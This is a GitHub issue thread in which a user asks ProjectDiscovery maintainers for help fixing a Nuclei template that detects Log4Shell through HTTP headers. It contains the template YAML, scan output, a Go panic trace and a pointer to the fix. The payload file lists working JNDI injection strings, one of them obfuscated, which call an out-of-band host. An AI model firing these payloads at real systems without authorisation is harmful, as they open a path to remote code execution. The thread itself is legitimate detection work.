Need Help Creating Header Based Log4j Template

[Nishantbhagat57]

Hello ProjectDiscovery team, I am currently working on Header based log4j OOB Template.

I used #44 as a reference and created this template using the https://cloud.projectdiscovery.io/templates:

id: log4j-injection-headers

info:
  name: Log-4j Injection In Headers
  author: Nishantbhagat57
  severity: high
  description: Detects potential Out-of-Band Log-4j Injection vulnerabilities, blind testing using payloads in headers.
  reference:
    - https://www.acunetix.com/blog/web-security-zone/critical-alert-log4shell-cve-2021-44228-in-log4j-possibly-the-biggest-impact-vulnerability-ever/
  tags: cmdi, oast, dast, log4j

constants:
  marker: "{{interactsh-url}}"

http:
  - method: GET
    path: 
      - "{{BaseURL}}"
    headers:
      User-Agent: "§inject§"
      Referer: "§inject§"
      X-Client-IP: "§inject§"
      X-Forwarded-For: "§inject§"
      X-Api-Version: "§inject§"

    payloads:
      inject: payloads/log4j-payloads.txt
      
    fuzzing:
      - part: header
        type: replace
        mode: multiple
        keys:
          - "User-Agent"
          - "Referer"
          - "X-Client-IP"
          - "X-Forwarded-For"
          - "X-Api-Version"
        fuzz:
          - "{{inject}}"

    stop-at-first-match: false
    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_protocol
        words:
          - "http"

The log4j-payloads.txt file contains the following payloads:

${jndi:ldap://${hostName}.{{marker}}/payload4}
${jndi:rmi://${hostName}.{{marker}}}
%%0a${${::-j}${::-n}${::-d}${::-I}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{marker}}/payload1}

But I am getting this output:

nishant57@v2202403199255261138:~/BB/oob$ nuclei -fuzz -u "http://nul06r8mnzoovigmytlwkop0trzin8bx.oastify.com/log4jtest" -t /home/nishant57/BB/oob/log4j-injection-parameters.yaml

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

		projectdiscovery.io

[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 85
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] No results found. Better luck next time!

which means the template isn't correct. There should be output like:
[INF] Using Interactsh Server: oast.online

Also I am not getting any DNS interaction on my burp collaborator.

@princechaddha @ehsandeep Can you please help me creating this template?

Thank you,
@Nishantbhagat57

[ehsandeep]

@Nishantbhagat57 you can update to latest version of nuclei where this issue got fixed - https://github.com/projectdiscovery/nuclei/releases/tag/v3.2.4

[Nishantbhagat57]

@ehsandeep I updated nuclei, but still result is same. I think the template is incorrect. Can you please check my template?

nishant57@v2202403199255261138:~/BB/oob$ nuclei -fuzz -u "http://187tyyu190sn5syijo5lx2tqyh48szgo.oastify.com/log4jtest" -t /home/nishant57/BB/oob/log4j-injection-headers.yaml

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.4

		projectdiscovery.io

[INF] Current nuclei version: v3.2.4 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] No results found. Better luck next time!

[Nishantbhagat57]

@ehsandeep ping

[Nishantbhagat57]

Tried with different approach, still not working:

id: log4j-header-injection

info:
  name: Log-4j Injection In Headers
  author: Nishantbhagat57
  severity: high
  description: Detects potential Out-of-Band Log-4j Injection vulnerabilities, blind testing using payloads in headers.
  reference:
    - https://www.acunetix.com/blog/web-security-zone/critical-alert-log4shell-cve-2021-44228-in-log4j-possibly-the-biggest-impact-vulnerability-ever/
  tags: cmdi, oast, dast, log4j

constants:
  marker: "{{interactsh-url}}"

http:
  - method: GET
    path: 
      - "{{BaseURL}}"
    payloads:
      inject: payloads/log4j-payloads.txt

    fuzzing:
      - part: header
        type: replace
        mode: multiple
        fuzz:
          User-Agent: "{{inject}}"
          Referer: "{{inject}}"
          X-Client-IP: "{{inject}}"
          X-Forwarded-For: "{{inject}}"
          X-Api-Version: "{{inject}}"
          
    stop-at-first-match: false
    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
      - type: word
        part: interactsh_protocol
        words:
          - "http"

Nuclei output:

nishant57@v2202403199255261138:~/BB/oob$ nuclei -fuzz -u "http://cr7g5utet5rur4t9v55dgzbziqohc90y.oastify.com/log4j" -t /home/nishant57/BB/oob/log4j-injection-headers.yaml

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.4

		projectdiscovery.io

[INF] Current nuclei version: v3.2.4 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
panic: interface conversion: interface {} is map[string]interface {}, not string

goroutine 38 [running]:
github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component.(*Header).Rebuild.func1({0x0, 0x0}, {0x25f9fa0, 0xc000f3db90})
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/fuzz/component/headers.go:99 +0x1f5
github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat.(*KV).Iterate(0xc000f3daa0?, 0xc00006d3e8)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/fuzz/dataformat/kv.go:75 +0xdc
github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component.(*Header).Rebuild(0xc000f2f5f0)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/fuzz/component/headers.go:85 +0x65
github.com/projectdiscovery/nuclei/v3/pkg/fuzz.(*Rule).executeRuleValues(0xc0004f0000, 0xc000ef3440, {0x35ee470, 0xc000f2f5f0})
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/fuzz/execute.go:214 +0xfa
github.com/projectdiscovery/nuclei/v3/pkg/fuzz.(*Rule).Execute(0xc0004f0000, 0xc000ef3440)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/fuzz/execute.go:132 +0xc45
github.com/projectdiscovery/nuclei/v3/pkg/protocols/http.(*Request).executeAllFuzzingRules(0xc0012f0780, 0xc000f38348, 0xc000f3d860, 0xc000f3d9b0, 0xc000f3d800)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/protocols/http/request_fuzz.go:113 +0x1e5
github.com/projectdiscovery/nuclei/v3/pkg/protocols/http.(*Request).executeFuzzingRule(0xc0012f0780, 0xc000f38330, 0xc000f3d860, 0xc000f3d800)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/protocols/http/request_fuzz.go:93 +0x3a5
github.com/projectdiscovery/nuclei/v3/pkg/protocols/http.(*Request).ExecuteWithResults(0xc0012f0780, 0xc000f38330, 0xc000f3d860, 0xc000f3d7d0, 0xc000f3d800)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/protocols/http/request.go:351 +0x1aa
github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic.(*Generic).ExecuteWithResults(0xc000b49770, 0xc0006e9680)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/tmplexec/generic/exec.go:55 +0x2b7
github.com/projectdiscovery/nuclei/v3/pkg/tmplexec.(*TemplateExecuter).Execute(0xc0007fe700, 0xc0006e9680)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/tmplexec/exec.go:170 +0x332
github.com/projectdiscovery/nuclei/v3/pkg/core.(*Engine).executeTemplateWithTargets.func2.1(0x2331584?, 0x0?, 0xc000ef3340)
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/core/executors.go:132 +0x1d8
created by github.com/projectdiscovery/nuclei/v3/pkg/core.(*Engine).executeTemplateWithTargets.func2 in goroutine 37
	/home/nishant57/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.2.4/pkg/core/executors.go:108 +0x446
nishant57@v2202403199255261138:~/BB/oob$ 

@ehsandeep @princechaddha

[Nishantbhagat57]

Fixed in projectdiscovery/nuclei#5068